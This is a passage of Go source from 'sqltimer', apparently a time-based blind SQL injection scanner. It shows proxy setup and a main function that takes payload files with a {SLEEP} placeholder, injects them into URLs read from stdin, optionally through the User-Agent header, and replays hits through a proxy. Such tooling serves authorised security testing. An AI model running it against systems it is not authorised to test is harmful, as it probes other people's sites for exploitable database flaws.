fmt.Fprintf(os.Stderr, "%s Invalid proxy URL: %v\n", prefixSet, err) 621 | os.Exit(1) 622 | } 623 | host := parsedProxy.Host 624 | conn, err := net.DialTimeout("tcp", host, 5*time.Second) 625 | if err != nil { 626 | fmt.Fprintf(os.Stderr, "%s Proxy unreachable or invalid: %v\n", prefixSet, err) 627 | os.Exit(1) 628 | } 629 | conn.Close() 630 | 631 | transport.Proxy = http.ProxyURL(parsedProxy) 632 | 633 | if doDebug { 634 | fmt.Printf("%s %s\n", prefixSet, colorize(fmt.Sprintf("Proxy connectivity verified: %s", proxyURL), colorYellow)) 635 | } 636 | } 637 | 638 | client = &http.Client{ 639 | Timeout: timeout, 640 | Transport: transport, 641 | } 642 | if doDebug { 643 | fmt.Printf("%s HTTP client initialized: sleep=%s%d%s * multiplier=%s%d%s + buffer=%s%d%s → timeout=%s%s%s\n", 644 | prefixSet, 645 | colorYellow, sleepTime, colorReset, 646 | colorMagenta, timeoutMultiplier, colorReset, 647 | colorCyan, timeoutBuffer, colorReset, 648 | colorGreen, timeout, colorReset) 649 | } 650 | } 651 | 652 | func setupReplayProxyClient() { 653 | if replayProxyURL == "" || proxyURL != "" { 654 | return 655 | } 656 | 657 | parsedProxy, err := url.Parse(replayProxyURL) 658 | if err != nil { 659 | fmt.Fprintf(os.Stderr, "%s Invalid replay proxy URL: %v\n", prefixSet, err) 660 | os.Exit(1) 661 | } 662 | host := parsedProxy.Host 663 | conn, err := net.DialTimeout("tcp", host, 5*time.Second) 664 | if err != nil { 665 | fmt.Fprintf(os.Stderr, "%s Replay proxy unreachable or invalid: %v\n", prefixSet, err) 666 | os.Exit(1) 667 | } 668 | conn.Close() 669 | 670 | transport := &http.Transport{Proxy: http.ProxyURL(parsedProxy)} 671 | replayClient = &http.Client{ 672 | Timeout: 10 * time.Second, 673 | Transport: transport, 674 | } 675 | 676 | if doDebug { 677 | fmt.Printf("%s %s\n", prefixSet, colorize(fmt.Sprintf("Replay proxy verified successfully: %s", replayProxyURL), colorYellow)) 678 | } 679 | } 680 | 681 | func main() { 682 | // General Options 683 | showVersion := flag.Bool("version", false, "Show version") 684 | flag.StringVar(&payloadsFile, "payloads", "", "File with SQLi payloads (one per line, with {SLEEP} placeholder)") 685 | 686 | // Scan/Timing Options 687 | flag.IntVar(&sleepTime, "sleep", 10, "SQLi sleep delay in seconds") 688 | flag.Float64Var(&negDrift, "negdrift", 0.1, "Allowable negative drift around sleep time") 689 | flag.Float64Var(&posDrift, "posdrift", 0.5, "Allowable positive drift around sleep time") 690 | flag.Float64Var(&maxResponseTime, "maxtime", 30.0, "Maximum allowed delta response time before skipping (seconds)") 691 | flag.IntVar(&timeoutMultiplier, "timeoutmultiplier", 6, "Multiplier for calculating HTTP timeout") 692 | flag.IntVar(&timeoutBuffer, "timeoutbuffer", 10, "Buffer (seconds) added to HTTP timeout") 693 | flag.IntVar(&maxWorkers, "threads", 10, "Maximum number of concurrent workers") 694 | flag.BoolVar(&stopAtFirstMatch, "spm", false, "Stop at first matching payload per URL") 695 | flag.BoolVar(&useUserAgentPayload, "add-ua", false, "Also test payloads via User-Agent header") 696 | 697 | // Request/Proxy Options 698 | flag.StringVar(&proxyURL, "proxy", "", "Proxy URL, e.g. http://127.0.0.1:8080") 699 | flag.StringVar(&replayProxyURL, "replay-proxy", "", "Replay vulnerable URLs through proxy (only hits)") 700 | flag.StringVar(&userAgent, "user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0", "User-Agent header to use") 701 | flag.Var(&customHeaders, "header", "Custom header to add to requests, format: Key:Value") 702 | flag.BoolVar(&usePost, "post", false, "Send payloads as POST requests instead of GET") 703 | flag.BoolVar(&shouldEncode, "encode", false, "URL encode SQL payloads") 704 | flag.Float64Var(&delaySeconds, "delay", 0, "Delay between requests in seconds") 705 | 706 | // Output/Debugging Options 707 | flag.BoolVar(¬ify, "notify", false, "Send desktop notification on finding") 708 | flag.BoolVar(&doDebug, "debug", false, "Enable debug output") 709 | flag.BoolVar(&noColor, "nocolor", false, "Disable colored output") 710 | flag.BoolVar(&cleanOutput, "clean", false, "Output only vulnerable URLs (stdout only)") 711 | 712 | // Flags 713 | flag.Usage = func() { 714 | fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0]) 715 | flag.PrintDefaults() 716 | printLegend() 717 | } 718 | 719 | flag.Parse() 720 | 721 | if noColor { 722 | disableColors() 723 | } 724 | 725 | if *showVersion { 726 | fmt.Println("sqltimer version:", version) 727 | os.Exit(0) 728 | } 729 | 730 | printBanner() 731 | 732 | if payloadsFile == "" { 733 | fmt.Fprintln(os.Stderr, "[!] You must specify a -payloads file.") 734 | os.Exit(1) 735 | } 736 | 737 | setupHTTPClient() 738 | setupReplayProxyClient() 739 | 740 | if doDebug { 741 | fmt.Printf("%s Delay between requests: %s%.1fs%s\n", prefixSet, colorYellow, delaySeconds, colorReset) 742 | if len(customHeaders) > 0 { 743 | fmt.Printf("%s Custom headers set:%s\n", prefixSet, colorReset) 744 | for _, hdr := range customHeaders { 745 | fmt.Printf(" %s%s%s\n", colorMagenta, hdr, colorReset) 746 | } 747 | } 748 | } 749 | 750 | var err error 751 | payloads, err = loadPayloads(payloadsFile) 752 | if err != nil { 753 | fmt.Fprintf(os.Stderr, "[!] Failed to read payloads file: %v\n", err) 754 | os.Exit(1) 755 | } 756 | 757 | preparedPayloads = preparePayloads() 758 | 759 | scanner := bufio.NewScanner(os.Stdin) 760 | jobs := make(chan job, 100) 761 | seen := make(map[string]bool) 762 | var wg sync.WaitGroup 763 | var mu sync.Mutex 764 | 765 | var ticker *time.Ticker 766 | if delaySeconds > 0 { 767 | ticker = time.NewTicker(time.Duration(delaySeconds * float64(time.Second))) 768 | defer ticker.Stop() 769 | } 770 | 771 | for i := 0; i < maxWorkers; i++ { 772 | wg.Add(1) 773 | go worker(jobs, &wg, &mu, seen, ticker) 774 | } 775 | 776 | for scanner.Scan() { 777 | rawURL := strings.TrimSpace(scanner.Text()) 778 | 779 | if rawURL == "" { 780 | continue 781 | } 782 | 783 | _, err := url.ParseRequestURI(rawURL) 784 | if err != nil { 785 | if doDebug { 786 | fmt.Fprintf(os.Stderr, "%s %s\n", prefixWrn, 787 | colorize(fmt.Sprintf("Invalid URL skipped: %s", rawURL), colorGray)) 788 | } 789 | continue 790 | } 791 | 792 | if doDebug { 793 | fmt.Printf("%s Received URL: %s%s%s\n", prefixInp, colorYellow, rawURL, colorReset) 794 | } 795 | jobs <- job{url: rawURL} 796 | } 797 | if err := scanner.Err(); err != nil { 798 | fmt.Fprintf(os.Stderr, "[!] Failed to read stdin: %v\n", err) 799 | os.Exit(1) 800 | } 801 | close(jobs) 802 | wg.Wait() 803 | 804 | method := getMethod() 805 | 806 | if !cleanOutput { 807 | fmt.Printf("%s✅ sqltimer finished%s | sleep=%s%d%s | drift=±%s%.1fs/%.1fs%s | maxtime=%s%.1fs%s | delay=%s%.1fs%s | method=%s%s%s\n", 808 | colorGreen, colorReset, 809 | colorYellow, sleepTime, colorReset, 810 | colorCyan, negDrift, posDrift, colorReset, 811 | colorMagenta, maxResponseTime, colorReset, 812 | colorBlue, delaySeconds, colorReset, 813 | colorGreen, method, colorReset) 814 | } 815 | } 816 | --------------------------------------------------------------------------------